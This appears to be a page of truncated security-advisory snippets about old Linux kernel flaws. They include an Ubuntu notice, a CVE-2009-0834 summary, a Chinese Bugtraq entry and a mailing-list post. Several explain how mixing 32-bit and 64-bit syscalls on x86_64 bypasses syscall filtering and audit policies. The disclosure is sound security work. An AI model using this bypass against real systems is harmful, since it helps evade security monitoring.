USN-751-1: Linux kernel vulnerabilities
NFS did not correctly handle races between fcntl and interrupts. A local attacker on an NFS mount could consume unlimited kernel memory, leading to a denial of service. Ubuntu 8.10 was not affected. CVE-2008-4307 Sparc syscalls did not correctly check mmap regions. A local attacker could cause a...

CVE-2009-0834
The CVE-2009-0834 issue affects the Linux kernel up to 2.6.28.7 on x86_64, where audit_syscall_entry mishandles 32-bit processes making 64-bit syscalls or 64-bit processes making 32-bit syscalls. This can allow local users to bypass certain syscall audit configurations, and is related to CVE-2009...
Linux Kernel审计系统audit_syscall_entry()系统调用绕过安全限制漏洞
BUGTRAQ ID: 33951 Linux Kernel是开放源码操作系统Linux所使用的内核。 Syscall过滤技术通常基于由编号确定的syscall或具体参数来确认是否允许执行调用。在通过编号确定syscall时，64位Linux内核（x8664）上syscall编号可能既映射到32位又映射到64位的syscall表，而这两种syscall表是不同的。由于用户空间进程是由 syscall表控制的，因此可以绕过syscall编号检查，执行非授权操作。 例如，syscall过滤技术可能在监控64位进程，且配置为允许常见的open syscall的子集，在64位平台上为syscal...

Problems with syscall filtering technologies on Linux
Hi, There's a trick which may permit the bypassing of policies in technologies which do syscall filtering on the Linux x8664 kernel. The trick is made possible by the fact that the 32-bit and 64-bit kernel tables are different, combined with the fact that a 64-bit process can make a 32-bit syscal...
